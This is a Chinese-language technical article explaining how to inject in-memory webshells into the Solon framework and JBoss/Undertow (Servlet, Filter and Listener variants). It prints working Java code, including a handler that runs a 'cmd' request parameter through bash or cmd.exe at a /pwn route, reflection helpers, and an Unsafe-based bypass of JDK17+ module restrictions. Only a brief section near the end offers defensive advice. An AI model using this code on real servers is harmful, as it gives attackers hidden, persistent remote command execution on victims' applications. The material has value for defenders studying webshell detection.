Solon框架注入内存马(二)
字数 1122 2025-08-20 18:18:16

Solon框架内存马注入技术深入分析

一、Handler内存马注入技术

1. Solon路由机制分析

Solon框架通过RouterHandler类的handle方法处理请求,其中this.router存储了所有路径信息:

  • routesH数组存储RoutingDefault对象
  • 每个RoutingDefault包含路径、请求方式和对应的Handler实现
  • ActionDefaultHandler的实现类,存储了处理类和方法信息

2. 动态路由注入原理

通过反射获取RouterDefault实例后,可以动态添加路由:

  1. 创建恶意类,包含攻击逻辑
  2. 获取RouterDefaultAppContext对象
  3. 构造ActionDefault对象
  4. 调用RouterDefault.add()方法注册新路由

3. 完整注入代码实现

// 1. 创建恶意类
public static class MemShell {
    public void pwn() {
        Context ctx = Context.current();
        try {
            if(ctx.param("cmd")!=null) {
                String str = ctx.param("cmd");
                try {
                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? 
                        new String[]{"cmd.exe", "/c", str} : 
                        new String[]{"/bin/bash", "-c", str};
                    String output = new java.util.Scanner(
                        new ProcessBuilder(cmds).start().getInputStream()
                    ).useDelimiter("\\A").next();
                    ctx.output(output);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        } catch (Throwable e) {
            ctx.output(e.getMessage());
        }
    }
}

// 2. 获取关键对象
Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");

AppContext appContext = (AppContext) getfieldobj(arg$1,"_context");
RouterDefault _router = (RouterDefault) getfieldobj(arg$1,"_router");

// 3. 注册内存马
BeanWrap beanWrap = new BeanWrap(appContext, MemShell.class);
Method method = MemShell.class.getDeclaredMethod("pwn");
Handler newhandler = new ActionDefault(beanWrap, method);
_router.add("/pwn", MethodType.ALL, newhandler);

二、JBoss AS中间件内存马注入

1. Servlet内存马注入

注入原理

  1. 获取DeploymentDeploymentInfo对象
  2. 创建ServletInfo对象配置Servlet信息
  3. 通过deploymentInfo.addServlet()deployment.getServlets().addServlet()注册

实现代码

// 获取关键对象
Object o = getCurrentThreadObj("io.undertow.servlet.handlers.ServletRequestContext");
Deployment deployment = (Deployment) getfieldobj(o, "deployment");
DeploymentInfo deploymentInfo = deployment.getDeploymentInfo();

// 创建并注册Servlet
ServletInfo servletInfo = new ServletInfo("ServletMemShell", MemServlet.class).addMapping("/S");
deploymentInfo.addServlet(servletInfo);
deployment.getServlets().addServlet(servletInfo);

// 恶意Servlet类
public static class MemServlet extends HttpServlet {
    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        res.setContentType("text/html;charset=utf-8");
        res.getWriter().write("MemServlet\n");
        // 攻击逻辑...
    }
}

2. Filter内存马注入

注入原理

  1. 获取DeploymentDeploymentInfo对象
  2. 创建FilterInfo对象
  3. 通过deploymentInfo.addFilter()deployment.getFilters().addFilter()注册
  4. 使用deploymentInfo.insertFilterUrlMapping()设置过滤路径

实现代码

FilterInfo filterInfo = new FilterInfo("FilterMemShell", MemFilter.class);
deploymentInfo.addFilter(filterInfo);
deploymentInfo.insertFilterUrlMapping(0, "FilterMemShell", "/hello/*", DispatcherType.REQUEST);
deployment.getFilters().addFilter(filterInfo);

// 恶意Filter类
public static class MemFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        // 攻击逻辑...
        chain.doFilter(request, response);
    }
}

3. Listener内存马注入

注入原理

  1. 获取DeploymentDeploymentInfo对象
  2. 创建ListenerInfo对象
  3. 通过deploymentInfo.addListener()注册
  4. 使用deployment.getApplicationListeners().addListener()添加监听器

实现代码

ListenerInfo listenerInfo = new ListenerInfo(MemListener.class);
deploymentInfo.addListener(listenerInfo);
ManagedListener managedListener = new ManagedListener(listenerInfo, false);
deployment.getApplicationListeners().addListener(managedListener);

// 恶意Listener类
public class MemListener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            // 绕过JDK17+反射限制
            bypassreflect(MemListener.class);
            Object o = getCurrentThreadObj("io.undertow.servlet.handlers.ServletRequestContext");
            HttpServletResponseImpl response = (HttpServletResponseImpl) getfieldobj(o, "originalResponse");
            response.getWriter().write("MemListener!!!");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public void bypassreflect(Class currentClass) throws Exception {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = Object.class.getModule();
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(currentClass, addr, baseModule);
    }
}

三、关键工具方法

1. 反射工具方法

// 获取字段值
public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
    try {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        return field.get(obj);
    } catch (NoSuchFieldException e) {
        Field field = obj.getClass().getSuperclass().getDeclaredField(fieldname);
        field.setAccessible(true);
        return field.get(obj);
    }
}

// 从当前线程获取对象
public Object getCurrentThreadObj(String classname) throws Exception {
    Thread currentThread = Thread.currentThread();
    Object threadLocals = getfieldobj(currentThread, "threadLocals");
    Object[] table = (Object[]) getfieldobj(threadLocals, "table");
    for (int i = 0; i < table.length; i++) {
        Object tmpobj = table[i];
        if (tmpobj == null) continue;
        Object obj = getfieldobj(tmpobj, "value");
        if (obj != null && obj.getClass().getName().equals(classname)) {
            return obj;
        }
    }
    return null;
}

四、防护建议

  1. 监控Solon框架中动态添加的路由
  2. 检查DeploymentInfo中新增的Servlet、Filter和Listener
  3. 限制反射操作,特别是Unsafe类的使用
  4. 实施运行时字节码检测,识别恶意类加载
  5. 定期更新框架版本,修复已知漏洞

五、参考资源

  1. Solon框架官方文档
  2. Java内存马技术分析
Solon框架内存马注入技术深入分析 一、Handler内存马注入技术 1. Solon路由机制分析 Solon框架通过 RouterHandler 类的 handle 方法处理请求,其中 this.router 存储了所有路径信息: routesH 数组存储 RoutingDefault 对象 每个 RoutingDefault 包含路径、请求方式和对应的 Handler 实现 ActionDefault 是 Handler 的实现类,存储了处理类和方法信息 2. 动态路由注入原理 通过反射获取 RouterDefault 实例后,可以动态添加路由: 创建恶意类,包含攻击逻辑 获取 RouterDefault 和 AppContext 对象 构造 ActionDefault 对象 调用 RouterDefault.add() 方法注册新路由 3. 完整注入代码实现 二、JBoss AS中间件内存马注入 1. Servlet内存马注入 注入原理 获取 Deployment 和 DeploymentInfo 对象 创建 ServletInfo 对象配置Servlet信息 通过 deploymentInfo.addServlet() 和 deployment.getServlets().addServlet() 注册 实现代码 2. Filter内存马注入 注入原理 获取 Deployment 和 DeploymentInfo 对象 创建 FilterInfo 对象 通过 deploymentInfo.addFilter() 和 deployment.getFilters().addFilter() 注册 使用 deploymentInfo.insertFilterUrlMapping() 设置过滤路径 实现代码 3. Listener内存马注入 注入原理 获取 Deployment 和 DeploymentInfo 对象 创建 ListenerInfo 对象 通过 deploymentInfo.addListener() 注册 使用 deployment.getApplicationListeners().addListener() 添加监听器 实现代码 三、关键工具方法 1. 反射工具方法 四、防护建议 监控Solon框架中动态添加的路由 检查 DeploymentInfo 中新增的Servlet、Filter和Listener 限制反射操作,特别是 Unsafe 类的使用 实施运行时字节码检测,识别恶意类加载 定期更新框架版本,修复已知漏洞 五、参考资源 Solon框架官方文档 Java内存马技术分析